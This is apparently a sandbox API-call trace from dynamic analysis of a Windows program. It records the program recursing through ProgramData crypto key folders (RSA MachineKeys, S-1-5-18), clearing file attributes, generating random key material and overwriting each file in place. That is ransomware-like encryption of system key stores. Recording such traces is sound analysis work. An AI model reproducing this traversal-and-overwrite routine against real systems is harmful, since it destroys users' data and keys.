	[0092.516] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0
	[0092.517] FindClose (in: hFindFile=0x46a8718 | out: hFindFile=0x46a8718) returned 1
	[0092.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0092.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabe48) returned 1
	[0092.517] FindNextFileW (in: hFindFile=0x2d87178, lpFindFileData=0x2e14f00 | out: lpFindFileData=0x2e14f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0092.517] wcscmp (_String1="RSA", _String2=".") returned 1
	[0092.517] wcscmp (_String1="RSA", _String2="..") returned 1
	[0092.517] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2e01f30
	[0092.517] wcscpy (in: _Dest=0x2e01f30, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0092.517] wcscat (in: _Dest=0x2e01f30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0092.517] wcscat (in: _Dest=0x2e01f30, _Source="RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0092.517] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dac318
	[0092.517] wcscpy (in: _Dest=0x2dac318, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0092.517] wcscat (in: _Dest=0x2dac318, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\"
	[0092.517] wcscat (in: _Dest=0x2dac318, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*"
	[0092.517] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f988
	[0092.517] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8318
	[0092.517] wcscmp (_String1=".", _String2=".") returned 0
	[0092.517] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.517] wcscmp (_String1="..", _String2=".") returned 1
	[0092.517] wcscmp (_String1="..", _String2="..") returned 0
	[0092.517] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0092.517] wcscmp (_String1="MachineKeys", _String2=".") returned 1
	[0092.518] wcscmp (_String1="MachineKeys", _String2="..") returned 1
	[0092.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733590
	[0092.518] wcscpy (in: _Dest=0x4733590, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0092.518] wcscat (in: _Dest=0x4733590, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\"
	[0092.518] wcscat (in: _Dest=0x4733590, _Source="MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0092.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ecf10
	[0092.518] wcscpy (in: _Dest=0x47ecf10, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0092.518] wcscat (in: _Dest=0x47ecf10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\"
	[0092.518] wcscat (in: _Dest=0x47ecf10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*"
	[0092.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712270
	[0092.518] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8258
	[0092.520] wcscmp (_String1=".", _String2=".") returned 0
	[0092.520] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.520] wcscmp (_String1="..", _String2=".") returned 1
	[0092.520] wcscmp (_String1="..", _String2="..") returned 0
	[0092.520] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1
	[0092.520] wcscmp (_String1="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", _String2=".") returned 1
	[0092.520] wcscmp (_String1="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", _String2="..") returned 1
	[0092.520] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491caa0
	[0092.520] wcscpy (in: _Dest=0x491caa0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0092.521] wcscat (in: _Dest=0x491caa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\"
	[0092.521] wcscat (in: _Dest=0x491caa0, _Source="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"
	[0092.521] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24
	[0092.521] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", dwFileAttributes=0x20) returned 0
	[0092.521] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.521] GetLastError () returned 0x5
	[0092.521] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", dwFileAttributes=0x24) returned 0
	[0092.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491caa0) returned 1
	[0092.521] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 0
	[0092.521] FindClose (in: hFindFile=0x46a8258 | out: hFindFile=0x46a8258) returned 1
	[0092.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712270) returned 1
	[0092.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecf10) returned 1
	[0092.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733590) returned 1
	[0092.521] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0092.521] wcscmp (_String1="S-1-5-18", _String2=".") returned 1
	[0092.522] wcscmp (_String1="S-1-5-18", _String2="..") returned 1
	[0092.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47334c0
	[0092.522] wcscpy (in: _Dest=0x47334c0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0092.522] wcscat (in: _Dest=0x47334c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\"
	[0092.522] wcscat (in: _Dest=0x47334c0, _Source="S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0092.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733d48
	[0092.522] wcscpy (in: _Dest=0x4733d48, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0092.522] wcscat (in: _Dest=0x4733d48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\"
	[0092.522] wcscat (in: _Dest=0x4733d48, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*"
	[0092.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711400
	[0092.522] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a80d8
	[0092.522] wcscmp (_String1=".", _String2=".") returned 0
	[0092.522] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.522] wcscmp (_String1="..", _String2=".") returned 1
	[0092.522] wcscmp (_String1="..", _String2="..") returned 0
	[0092.522] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1
	[0092.522] wcscmp (_String1="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", _String2=".") returned 1
	[0092.522] wcscmp (_String1="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", _String2="..") returned 1
	[0092.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491eca8
	[0092.522] wcscpy (in: _Dest=0x491eca8, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0092.522] wcscat (in: _Dest=0x491eca8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\"
	[0092.522] wcscat (in: _Dest=0x491eca8, _Source="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"
	[0092.522] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 0x24
	[0092.523] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", dwFileAttributes=0x20) returned 1
	[0092.523] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1378
	[0092.523] GetFileSizeEx (in: hFile=0x1378, lpFileSize=0xd4bfad4 | out: lpFileSize=0xd4bfad4*=56) returned 1
	[0092.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0092.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b00
	[0092.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.523] NtQuerySystemTime (in: CurrentTime=0xd4bfa34 | out: CurrentTime=0xd4bfa34*=132251868192596293) returned 0x0
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x89736398
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x6f94b054
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xe9b04554
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x5a30e5b4
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x39ea1eaf
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x70745a65
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xffad8844
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xbabbde4d
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xd1e47816
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x55f227f2
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x5ff200de
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x760c610b
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xc38c7ecf
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x3e23f0a6
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x202a511b
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xdfeb856a
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x60044183
	[0092.523] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xe1c878ca
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xd2f3b529
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x355e5cb7
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xdcf15206
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x36821f6f
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xfddfaf1e
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x51e0166f
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xa546df5c
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xa4516145
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x8f8c0c6f
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xb4104c7f
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x23dca01e
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0xe4028c3f
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x1576c2
	[0092.524] RtlRandom (in: Seed=0xd4bfa40 | out: Seed=0xd4bfa40) returned 0x4ffe9631
	[0092.532] ReadFile (in: hFile=0x1378, lpBuffer=0x50d68a8, nNumberOfBytesToRead=0x38, lpNumberOfBytesRead=0xd4bfa30, lpOverlapped=0x0 | out: lpBuffer=0x50d68a8*, lpNumberOfBytesRead=0xd4bfa30*=0x38, lpOverlapped=0x0) returned 1
	[0092.533] SetFilePointerEx (in: hFile=0x1378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.533] WriteFile (hFile=0x1378, lpBuffer=0x50e30b0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xd4bfa2c, lpOverlapped=0x0) 

Thread:
	id = 297
	os_tid = 0x1324

	[0076.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4f48430
	[0076.828] wcscpy (in: _Dest=0x4f48430, _Source="C:\\ProgramData\\Microsoft\\DataMart" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart") returned="C:\\ProgramData\\Microsoft\\DataMart"
	[0076.828] wcscat (in: _Dest=0x4f48430, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart\\") returned="C:\\ProgramData\\Microsoft\\DataMart\\"
	[0076.828] wcscat (in: _Dest=0x4f48430, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart\\*") returned="C:\\ProgramData\\Microsoft\\DataMart\\*"
	[0076.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e13488
	[0076.828] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\*", lpFindFileData=0x2e13488 | out: lpFindFileData=0x2e13488*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad478
	[0079.925] wcscmp (_String1=".", _String2=".") returned 0
	[0079.925] FindNextFileW (in: hFindFile=0x2dad478, lpFindFileData=0x2e13488 | out: lpFindFileData=0x2e13488*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.925] wcscmp (_String1="..", _String2=".") returned 1
	[0079.925] wcscmp (_String1="..", _String2="..") returned 0
	[0079.925] FindNextFileW (in: hFindFile=0x2dad478, lpFindFileData=0x2e13488 | out: lpFindFileData=0x2e13488*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1
	[0079.925] wcscmp (_String1="PaidWiFi", _String2=".") returned 1
	[0079.925] wcscmp (_String1="PaidWiFi", _String2="..") returned 1
	[0079.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daef48
	[0079.925] wcscpy (in: _Dest=0x2daef48, _Source="C:\\ProgramData\\Microsoft\\DataMart" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart") returned="C:\\ProgramData\\Microsoft\\DataMart"
